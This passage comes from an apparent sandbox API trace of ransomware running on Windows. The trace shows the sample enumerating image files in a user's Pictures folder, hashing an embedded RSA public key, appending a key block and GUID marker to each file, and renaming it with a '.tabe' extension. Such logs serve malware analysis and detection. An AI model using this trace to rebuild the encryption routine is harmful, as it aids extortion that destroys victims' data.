dwFlags=0x0) returned 1 [0126.652] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.653] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.653] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.653] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.653] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.653] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.653] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.653] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.654] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18a19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.654] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.654] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.654] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.654] CloseHandle (hObject=0x618) returned 1 [0126.655] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qQdjXCNPUMlvX4GrMP.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qqdjxcnpumlvx4grmp.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qQdjXCNPUMlvX4GrMP.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qqdjxcnpumlvx4grmp.jpg.tabe")) returned 1 [0126.656] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x678ab9b0, ftCreationTime.dwHighDateTime=0x1d5dd4e, ftLastAccessTime.dwLowDateTime=0x68adaef0, ftLastAccessTime.dwHighDateTime=0x1d5e42a, ftLastWriteTime.dwLowDateTime=0x68adaef0, ftLastWriteTime.dwHighDateTime=0x1d5e42a, nFileSizeHigh=0x0, nFileSizeLow=0x8949, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="rR69sidS4ssYz6nI.gif", cAlternateFileName="RR69SI~1.GIF")) returned 1 [0126.656] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rR69sidS4ssYz6nI.gif") returned=".gif" [0126.656] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rR69sidS4ssYz6nI.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rr69sids4ssyz6ni.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.656] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=35145) returned 1 [0126.657] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.658] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8923, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.658] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.659] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x8949, lpOverlapped=0x0) returned 1 [0126.660] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.660] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.660] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.660] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.660] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.660] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.660] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.661] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.661] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.661] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.661] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.661] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.661] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.661] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.661] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8949, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.661] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.661] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.661] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.662] CloseHandle (hObject=0x618) returned 1 [0126.662] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rR69sidS4ssYz6nI.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rr69sids4ssyz6ni.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rR69sidS4ssYz6nI.gif.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rr69sids4ssyz6ni.gif.tabe")) returned 1 [0126.665] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb088e020, ftCreationTime.dwHighDateTime=0x1d5dc12, ftLastAccessTime.dwLowDateTime=0x6565e5a0, ftLastAccessTime.dwHighDateTime=0x1d5e759, ftLastWriteTime.dwLowDateTime=0x6565e5a0, ftLastWriteTime.dwHighDateTime=0x1d5e759, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="uTb2XNe2OP5R tei8lV1.png", cAlternateFileName="UTB2XN~1.PNG")) returned 1 [0126.665] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\uTb2XNe2OP5R tei8lV1.png") returned=".png" [0126.665] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\uTb2XNe2OP5R tei8lV1.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\utb2xne2op5r tei8lv1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.667] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=5632) returned 1 [0126.667] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.668] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.668] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.670] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1600, lpOverlapped=0x0) returned 1 [0126.670] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.670] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.670] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.670] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.671] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.671] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.671] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.671] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.671] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.671] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.671] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.671] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.671] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.671] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.672] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.672] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.672] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.672] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.672] CloseHandle (hObject=0x618) returned 1 [0126.672] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\uTb2XNe2OP5R tei8lV1.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\utb2xne2op5r tei8lv1.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\uTb2XNe2OP5R tei8lV1.png.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\utb2xne2op5r tei8lv1.png.tabe")) returned 1 [0126.674] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20b87a60, ftCreationTime.dwHighDateTime=0x1d5e521, ftLastAccessTime.dwLowDateTime=0x947b9b00, ftLastAccessTime.dwHighDateTime=0x1d5dafc, ftLastWriteTime.dwLowDateTime=0x947b9b00, ftLastWriteTime.dwHighDateTime=0x1d5dafc, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="VruK5uac3vMJHabZLR.bmp", cAlternateFileName="VRUK5U~1.BMP")) returned 1 [0126.674] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VruK5uac3vMJHabZLR.bmp") returned=".bmp" [0126.674] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VruK5uac3vMJHabZLR.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vruk5uac3vmjhabzlr.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.674] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=20906) returned 1 [0126.674] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.675] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.675] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.676] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x51aa, lpOverlapped=0x0) returned 1 [0126.677] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.677] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.677] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.677] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.678] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.678] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.678] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.678] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.678] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.678] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.678] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.678] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.678] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.678] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.678] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x51aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.678] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.679] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.679] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.679] CloseHandle (hObject=0x618) returned 1 [0126.679] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VruK5uac3vMJHabZLR.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vruk5uac3vmjhabzlr.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VruK5uac3vMJHabZLR.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vruk5uac3vmjhabzlr.bmp.tabe")) returned 1 [0126.681] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5dd2080, ftCreationTime.dwHighDateTime=0x1d5e41b, ftLastAccessTime.dwLowDateTime=0x4f445730, ftLastAccessTime.dwHighDateTime=0x1d5e4b5, ftLastWriteTime.dwLowDateTime=0x4f445730, ftLastWriteTime.dwHighDateTime=0x1d5e4b5, nFileSizeHigh=0x0, nFileSizeLow=0x12437, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="VZ1KGpBVhLm9TyscT.jpg", cAlternateFileName="VZ1KGP~1.JPG")) returned 1 [0126.681] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VZ1KGpBVhLm9TyscT.jpg") returned=".jpg" [0126.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VZ1KGpBVhLm9TyscT.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vz1kgpbvhlm9tysct.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.681] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=74807) returned 1 [0126.681] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.682] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12411, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.682] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.683] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x12437, lpOverlapped=0x0) returned 1 [0126.684] lstrlenA (lpString="-----BEGIN PUBLIC 